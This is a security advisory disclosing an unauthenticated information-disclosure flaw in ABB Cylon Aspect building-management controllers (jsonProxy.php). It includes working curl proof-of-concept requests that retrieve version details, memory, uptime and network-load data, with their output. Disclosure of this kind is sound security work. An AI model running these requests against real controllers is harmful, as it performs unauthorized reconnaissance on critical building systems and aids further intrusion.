ABB Cylon Aspect 3.08.01 jsonProxy.php Information Disclosure

ABB Cylon Aspect 3.08.01 (jsonProxy.php) Information Disclosure

Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable
to unauthorized information disclosure. An unauthenticated attacker can retrieve
sensitive system information, including system time, uptime, memory usage, and
network load statistics. The jsonProxy.php endpoint proxies these requests to
internal services without requiring authentication, allowing attackers to obtain
detailed system status data, which could aid in further attacks by revealing
operational characteristics and resource utilization.

Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5858
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5858.php

21.04.2024

—

$ cat project

P R O J E C T

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$ curl “http://192.168.73.31/jsonProxy.php?port=7226&application=FTControlServlet?getVersionInfo=1”
runtime.ver=v3.07.01
runtime.size=5647011
release.version=v3.07.02
release.date=2023.07.02 at 13\:01\:33 UTC
aam.webui.release.version=v0.00.99
aam.webui.release.date=1970-01-01
aam.os.release.version=v0.00.99
aam.os.release.date=1970-01-01
mapconfig.date=2023.12.09 at 09:05
mapconfig.size=3767088
mapconfig.project=Skyscraper_2023

$ curl “http://192.168.73.31/jsonProxy.php?port=7226&application=StatusServlet”
{“restartFlag”:false,”SystemTime”:”2024\/10\/29 14:09:13″,”Uptime”:11332093,”Memory”:{“SystemMemoryFree”:82736,”SystemMemoryTotal”:510604,”SystemSwapTotal”:0,”JVMTotalMemory”:134217728,”SystemSwapFree”:0,”JVMFreeMemory”:9789440},”Load”:[0.12,0.1,0.09]}
$ curl “http://192.168.73.31/jsonProxy.php?port=7226&application=StatusServlet&query=showNetworkLoad%3Dtrue%26networkId%3D192.168.xx.xx:PORT:2:10
…